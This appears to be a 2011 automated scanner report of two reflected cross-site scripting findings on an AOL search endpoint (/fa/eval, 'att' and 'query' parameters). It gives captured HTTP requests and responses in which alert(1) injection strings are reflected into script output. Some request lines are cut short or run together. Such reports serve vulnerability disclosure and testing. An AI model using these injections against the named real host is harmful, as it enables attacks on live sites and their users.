1. Cross-site scripting (reflected)
1.1. http://tacoda-fatcat.search.aol.com/fa/eval [att parameter]
1.2. http://tacoda-fatcat.search.aol.com/fa/eval [query parameter]
Severity: | High |
Confidence: | Certain |
Host: | http://tacoda-fatcat |
Path: | /fa/eval |
GET /fa/eval?count=10&att Host: tacoda-fatcat.search.aol Proxy-Connection: keep-alive Referer: http://wiki.answers.com Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: s_vi=[CS]v1|269781FA |
HTTP/1.1 200 OK Date: Fri, 11 Feb 2011 17:39:00 GMT Content-Type: application/json;charset Content-Length: 1058 Cache-Control: max-age=3600 Expires: Fri, 11 Feb 2011 18:39:00 GMT var _results = {"query":"Why are pro forma financial statements important to the financial planning process","count":2,"data" ...[SNIP]... =financial planning&fullquery=Why are pro forma financial statements important to the financial planning process","ruleSetName": TACJSONCBd9fcd;alert(1)/ |
Severity: | High |
Confidence: | Certain |
Host: | http://tacoda-fatcat |
Path: | /fa/eval |
GET /fa/eval?count=10&att Host: tacoda-fatcat.search.aol Proxy-Connection: keep-alive Referer: http://wiki.answers.com Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,* Cookie: s_vi=[CS]v1|269781FA |
HTTP/1.1 200 OK Date: Fri, 11 Feb 2011 17:39:10 GMT Content-Type: application/json;charset Content-Length: 1181 Cache-Control: max-age=3600 Expires: Fri, 11 Feb 2011 18:39:10 GMT var _results = {"query":"Why are pro forma financial statements important to the financial planning process7ed69\\";alert(1)/ ...[SNIP]... |